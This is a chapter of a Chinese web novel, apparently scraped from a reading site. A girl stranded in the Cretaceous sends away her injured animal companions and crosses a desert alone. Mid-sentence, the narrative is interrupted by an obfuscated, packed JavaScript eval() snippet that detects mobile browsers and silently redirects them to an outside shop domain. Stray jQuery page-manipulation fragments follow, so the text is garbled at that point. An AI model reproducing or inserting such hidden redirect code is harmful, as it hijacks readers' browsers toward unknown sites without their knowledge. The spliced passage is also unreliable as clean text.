林小禾把那句话喊出来的时候，声音比她想象的要大。
“你们走！都走！”
小角被她吓了一跳，往后退了一步，歪头看着她，眼睛里全是困惑。它不懂为什么要走，不懂为什么她的声音在抖。
“咩——”小角叫了一声，声音很轻，像在问：你怎么了？
她没有回答。她把脸别过去，不看小角。
“小角，你走。回山洞去。你的脚破了，跟着我会死的。”
小角低头看了看自己的脚。脚上包的兽皮已经被血水浸透了。它又把头抬起来，看着她，“咩”了一声——不走。
“你走！”她的声音更大了。
小角缩了一下脖子。它从来没有听过她用这种声音说话。
小智从她肩膀上跳下来，跑到小角旁边，仰头看着她，“啾”了一声。声音细细的，怯怯的，像在问：你也不要我了吗？
她看着小智。小智瘦了，羽毛乱糟糟的，身体在发抖。
她想伸手去摸它。手伸到一半，又缩回来了。不能碰。碰了就舍不得了。
“小智，你也走。你太小了，跟着我会饿死的。”
小智歪头，“啾”了一声——我不走。
“走！”
小智没有动。它蹲在地上，仰头看着她，眼睛里有一种她没见过的光——固执。
她深吸了一口气。
“好。你们不走是吧？我走。”
她转过身，朝一个方向走去。她不知道那个方向是哪里，她只是想走。离开它们。越远越好。
走了三步，小角跟了上来。
“咩——咩——咩——”一声比一声急。小角一瘸一拐地跟在她后面，脚上的血在碎石上拖出一条细细的红线。
她停下来。
“小角，别跟了。”
小角不听。它走到她面前，用头拱她的手，拱得很用力。
她把手指抽回来。
“别碰我。”
小角愣住了。它从来没有被这样对待过。它站在原地，四条腿僵住了，鼻子皱了一下，发出一声低低的、颤抖的“咩”。那声音不像平时的“咩”，像哭。
林小禾听到了。她的心像被什么东西攥住了，疼得喘不上气。但她没有回头。
她继续走。
又走了几步，小智追了上来。小智跑得很快，小小的爪子在碎石上发出“哒哒哒”的声音。它跑到她脚边，用头蹭她的脚踝，蹭得很用力。
“啾啾啾啾啾——”小智叫得很急，很尖。
她低头看着小智。小智仰着头，嘴巴张着，眼睛里全是水。
“小智，你回去。”
小智没有动。它用嘴叼住她的兽皮裙角，往后拽。它在试图把她拽回去。
她没有动。小智拽了几下，拽不动，松开了。它蹲在她脚边，仰着头，看着她，发出一声轻轻的、细细的“啾”。那声音小得几乎听不到。但她听到了。那是一个问句：你在赶我走吗？
她没有回答。她转过身，继续走。这一次，她没有停。
身后传来小角的叫声。一声接一声，一声比一声远。“咩——咩——咩——”
然后是小智的叫声。“啾——啾——啾——”
两种声音混在一起，一个低，一个高，像一首悲伤的二重唱。
她咬着嘴唇，加快脚步。
走了大概五十步，身后的声音停了。
她停下来。站在灰白色的荒漠中间，周围什么都没有。灰白色的地，灰白色的天，灰白色的地平线。
她没有回头。她知道，如果回头，就再也狠不下心了。
然后她听到了翅膀的声音。不是绒绒的翅膀——绒绒的翅膀扇动时有节奏，像心跳。这个翅膀声很乱，很急，像在挣扎。
她猛地回头。
远处，天空中，有一个白色的影子。绒绒。它飞起来了。不是那种优雅的、平稳的飞行。它的翅膀扇得很吃力，每扇一下，身体就往一边歪一下，像是在忍着巨大的疼痛。它飞得很低，几乎是贴着地面，歪歪扭扭的。
它的爪子里抓着一个东西。灰褐色的，小小的。小智。
绒绒抓着小智，朝远处飞去。
小角站在地上，仰头看着绒绒飞走的方向，“咩”了一声。然后它低下头，一瘸一拐地朝那个方向走去。
它没有回头看她。
她看着绒绒的背影，看着小角的背影。白色的。棕色的。一个在天上，一个在地上。都在离她越来越远。
她张了张嘴，想说点什么。“绒……”名字只喊出一个字，后面的卡在嗓子里了。因为她不知道该说什么——叫它们回来？她刚才明明在赶它们走。说对不起？对不起有什么用。
她站在那里，看着绒绒变成一个小小的白点，消失在天边。看着小角变成一个小小的棕点，消失在地平线上。
然后什么都看不到了。
风停了。荒漠安静得像一座坟墓。
她站在坟墓中间，一个人。
她慢慢蹲下去，把脸埋在膝盖里。没有哭。她哭不出来了。嗓子像被什么东西掐住了，眼睛干涩得像两块砂纸。她只能蹲在那里，张着嘴，发出“嗬——嗬——”的声音。
她蹲了很久。久到太阳从灰蒙蒙的云层后面露出来，变成一个模糊的光斑。久到她的腿麻了，手指冻僵了。
她慢慢站起来。腿在抖，胃在抽，头在晕。她站了一会儿，等那阵晕眩过去。
然后她抬起头，看着空荡荡的天空。
“一个人了。”她轻声说，声音沙哑得不像自己的。“真的一个人了。”
她从兽皮背心里摸出那个玩偶。玩偶脏兮兮的，羽毛打结了，翅膀歪了，脖子也歪了。她把玩偶举到眼前。
“绒绒，”她说，“连你也走了。”
玩偶不会回答。她把玩偶贴在脸上。“你们都走了。”
没有人回答。
她把玩偶放回兽皮背心里，背上应急包，拿起短鱼叉。
“走吧。一个人也要走。”
她朝东北方向走去。一个人。真正的一个人。没有绒绒在天上带路，没有小角跟在后面，没有小智蹲在肩膀上。只有她，和那个脏兮兮的玩偶。
---
走了大概一个小时，她停下来。不是累了，是她的手一直在抖。从赶走它们开始就在抖，到现在没停过。她把手举到眼前看了看——手指在发抖，手背上有一道昨天被树枝划的口子，结了一层薄痂。
她把手放下来，握紧鱼叉。鱼叉也在抖。
“别抖了。”她跟自己的手说。手没听。
她继续走。又走了大概一个小时。地面从灰白色变成了灰褐色，从碎石变成了干裂的泥地。裂缝很多，她得绕来绕去。走得很慢，不是路难走，是她总忍不住回头看。每次回头，身后都什么都没有。
她回头看了七次。第八次的时候，她对自己说：“别看了。它们不会回来了。”
她没再回头。
中午，她在一棵枯树旁边停下来。说是树，其实就是一根树干，歪歪斜斜地插在地上，光秃秃的。
她在树干旁边坐下来，把应急包放在腿上，打开。空的。
她把空水袋拿出来，舔了舔内壁——咸的。她把空蕨叶包拿出来，用手指抠下一点鱼干碎屑，放进嘴里，嚼了两口就没了。她把那一小块沾着小角血的兽皮拿出来，贴在脸上蹭了蹭。
“小角。”她轻声说。没有人回答。
她把兽皮叠好，塞进兽皮背心里面——贴着心脏的位置。
然后她靠着那根枯树干，闭上眼睛。她没有睡，只是在想事情。在想绒绒的翅膀是什么时候开始受伤的，在想小角的脚是什么时候开始磨破的，在想小智是什么时候开始饿瘦的。
“我早该发现的。”她轻声说。“我早该让它们走的。”
她睁开眼睛，看着灰蒙蒙的天空。“但是我自私。我想让它们陪我。我想回家，但我也想有它们在身边。林小北，你妹好自私。”
没有人回答。风从荒漠那边吹过来，把枯树干吹得嘎吱嘎吱响。
她站起来。“走吧。”
---
下午，她走到了一片乱石滩。石头很大，堆在一起，石头之间是深深的缝隙。她得爬过去，有时候手脚并用。
爬了大概半个小时，她在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688676|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一块大石头上面坐下来，喘气。腿在抖，胃在抽，头有点晕。从早上开始就没吃东西，没喝水。
她坐在石头上，看着远方。地平线上什么都没有——没有烟，没有光，没有裂缝。只有灰蒙蒙的天空和灰白色的地面，连在一起。
“我走对方向了吗？”她轻声问自己。她不知道。绒绒不在天上，没有人帮她看方向。她只能凭感觉走。
她笑了一下。不是开心的笑，是那种“完了”的笑。“林小北，你妹迷路了。在荒漠里，没有吃的，没有水，没有绒绒，没有小角，没有小智。你妹好惨。”
她坐在石头上，从兽皮背心里摸出那个小玩偶。把它握在手心里，很小，刚好能握住。
“绒绒，”她轻声说，“你说，我还能回去吗？”玩偶不会回答。
她把它贴在脸上，蹭了蹭。“我把它们都赶走了。绒绒、小角、小智，都走了。我一个人了。像一开始一样。不对，一开始我还有你呢。”
她把玩偶举到眼前，看着它歪歪扭扭的翅膀。“林小北送我的时候说，‘以后绒绒就代替我保护你了’。绒绒真的保护我了。保护了很多很多次。”
她的眼泪终于掉下来了。一滴，滴在玩偶的头上，把白色的羽毛洇湿了一小块。
“但是绒绒受伤了。小角也受伤了。小智饿了。我不能让它们再保护我了。我得保护它们。所以我把它们赶走了。”
她把玩偶贴在胸口，靠着心脏的位置。“林小北，你妹做得对吗？”
没有人回答。风从乱石滩那边吹过来，把她的头发吹到脸上。她没有拨开。她坐在那里，握着那个小小的玩偶，哭了很久。
---
傍晚的时候，她走到了乱石滩的尽头。前面是一片开阔的、灰白色的平地。没有树，没有水，没有路。
太阳快落山了。天边那层暗红色的云又出现了，比前几天淡了一些，但还是红的，像干涸的血。
她找了一块相对平坦的地方，把应急包放下来。今晚住在这里。不需要搭帐篷，不需要铺床。随便找个地方就能躺下。
她生了一堆火。柴火不多了，她从应急包里拿出最后几根干树枝，又从地上捡了一些枯草。火很小，小到只能照亮她面前的一小块地方。
她坐在火堆旁边，抱着膝盖。小角不在，没有人枕她的脚。绒绒不在，没有翅膀盖在她身上。小智不在，没有毛球蹲在她肩膀上。只有她一个人。
火光照着她的脸。她的眼睛肿着，鼻尖红红的，嘴唇干裂了，起了皮。
她从兽皮背心里拿出那个玩偶，放在膝盖上。“绒绒，就剩你陪我了。”玩偶不会说话。她拿出那块沾着小角血的兽皮，放在玩偶旁边。“小角，你也陪着我。”兽皮不会说话。她从地上捡了一小片枯叶，放在兽皮旁边。“小智，你也陪着我。”叶子不会说话。
她看着火堆，看着那些不会说话的东西。“你们都不会说话。但你们是绒绒、小角、小智。够了。”
她把玩偶、兽皮和叶子收进兽皮背心里，贴着心脏。然后她靠着应急包，看着天空。星星出来了，不多，稀稀拉拉的。没有月亮。天很黑。
“林小北，”她说，“你妹今天一个人走了很远的路。你妹没有哭很久。哭了半个小时，然后就站起来了。你妹是不是变厉害了？”
她停了一下。“但是你妹还是想你。想你做的红烧肉，想妈做的糖醋排骨，想爸煮的面，想大哥买的奶茶。你妹好饿。”她摸了摸肚子。“好饿好饿。但是没东西吃。没关系。明天找。”
她看着星星。“晚安，林小北。”
她张了张嘴，想说“晚安，绒绒”，想说“晚安，小角”，想说“晚安，小智”。但说不出口。因为说出口，就代表它们不在了。
“晚安。”她只说了一个词。
然后她把脸埋在膝盖里，无声地哭了。
火堆慢慢灭了。灰烬被风吹散了。她一个人，蜷在那片灰白色的荒漠里，没有翅膀盖，没有脚枕，没有毛球。只有那个脏兮兮的玩偶，被她攥在手心里，攥得很紧很紧。
白垩纪，大概是第七十三天。出发后的第八天。一个人了。但她没死。明天继续走。